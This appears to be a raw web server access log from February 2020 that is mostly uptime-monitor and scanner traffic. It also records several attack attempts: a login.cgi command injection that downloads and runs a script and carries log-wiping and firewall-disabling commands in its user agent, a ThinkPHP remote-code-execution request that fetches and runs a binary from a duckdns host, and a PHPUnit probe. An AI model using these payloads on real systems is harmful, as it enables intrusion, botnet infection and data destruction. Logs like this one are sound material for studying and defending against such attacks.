212.91.246.72 - - [23/Feb/2020:14:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.10.222.71 - - [23/Feb/2020:14:48:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:14:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.10.222.71 - - [23/Feb/2020:14:49:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
85.143.136.246 - - [23/Feb/2020:14:50:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.10.222.71 - - [23/Feb/2020:14:50:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:14:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.10.222.71 - - [23/Feb/2020:14:50:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.10.222.71 - - [23/Feb/2020:14:50:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:14:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.10.222.71 - - [23/Feb/2020:14:53:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.10.222.71 - - [23/Feb/2020:14:53:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.10.222.71 - - [23/Feb/2020:14:54:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:14:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.10.222.71 - - [23/Feb/2020:14:54:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:14:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.10.222.71 - - [23/Feb/2020:14:57:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:14:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:14:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.204.124.9 - - [23/Feb/2020:15:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.219.136.203 - - [23/Feb/2020:15:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.191.137.143 - - [23/Feb/2020:15:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.133.96.49 - - [23/Feb/2020:15:15:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
134.35.171.242 - - [23/Feb/2020:15:15:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [23/Feb/2020:15:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.78.208.229 - - [23/Feb/2020:15:16:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:15:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.215.244.147 - - [23/Feb/2020:15:17:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [23/Feb/2020:15:27:00 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.254.56.220 - - [23/Feb/2020:15:29:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
81.180.86.47 - - [23/Feb/2020:15:29:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:15:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.155.188.65 - - [23/Feb/2020:15:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
